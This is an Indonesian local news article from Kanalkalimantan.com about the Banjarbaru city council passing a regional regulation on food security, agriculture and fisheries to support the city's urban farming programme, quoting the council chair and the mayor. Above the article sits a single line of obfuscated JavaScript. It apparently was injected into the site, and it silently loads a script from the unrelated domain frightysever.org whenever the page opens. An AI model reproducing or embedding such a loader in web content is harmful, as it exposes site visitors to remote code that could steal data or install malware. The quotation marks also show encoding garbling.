(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mendorong penerapan Peraturan Daerah (Perda) penyelenggaraan ketahanan pangan, pertanian dan perikanan mendukung program urban farming.
“Perda penyelenggaraan ketahanan pangan, pertanian dan perikanan itu harus mampu mendukung program urban farming yang menjadi salah satu program unggulan pemerintah kota,†ujar Ketua DPRD Fadliansyah di Banjarbaru, Selasa (7/8/2023).
Menurut Fadliansyah, pihaknya bersama seluruh anggota DPRD sudah menyetujui dan mengesahkan Perda penyelenggaraan ketahanan pangan, pertanian dan perikanan itu pada rapat paripurna.
Fadliansyah menuturkan, perda usulan Pemkot Banjarbaru itu sejalan program pertanian perkotaan (Urban Farming) yang mengatur tentang perencanaan, pengawasan anggaran hingga pelaksanaan.
Baca juga: Bebek Jadul Modifikasi Armada ‘Tempur’ BPK Duta Sabumi Memburu Karhutla
Perda itu juga mengatur regulasi penataan terkait pertanian dan perikanan sehingga pemerintah memiliki dasar hukum atas setiap pelaksanaan kegiatan, bukan atas kebijakan yang dijalankan.
“Misalnya hibah pupuk kepada para petani dan pemberian bibit ikan maupun tanaman maupun hal lain yang harus ada regulasi hukumnya sehingga Perda yang disahkan itu menjadi payung hukum,†tuturnya.
Diharapkan Fadliansyah, perda baru itu juga mengatur segala bentuk bisnis peternakan, pertanian, dan perikanan sesuai RTRW Banjarbaru sehingga kawasan-kawasan yang dirancang memiliki kawasan khusus tidak tergabung area pemukiman.
Wali Kota Banjarbaru Muhammad Aditya Mufti Arifin menyambut baik disahkannya Perda dan berharap segala bentuk sarana, fasilitas hingga perizinan untuk perikanan, peternakan dan pertanian berjalan baik sehingga sesuai RTRW.
Baca juga:Â Ancaman Krisis Air Bersih di Beruntung Baru, BPBD Banjar Kirim Bantuan
“Perda itu memang diperlukan karena menjadi dasar pemerintah memberikan perizinan karena masih ada masyarakat yang melakukan peternakan tidak sesuai kondisi lingkungan sehingga harus ditata sesuai aturan,†katanya. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.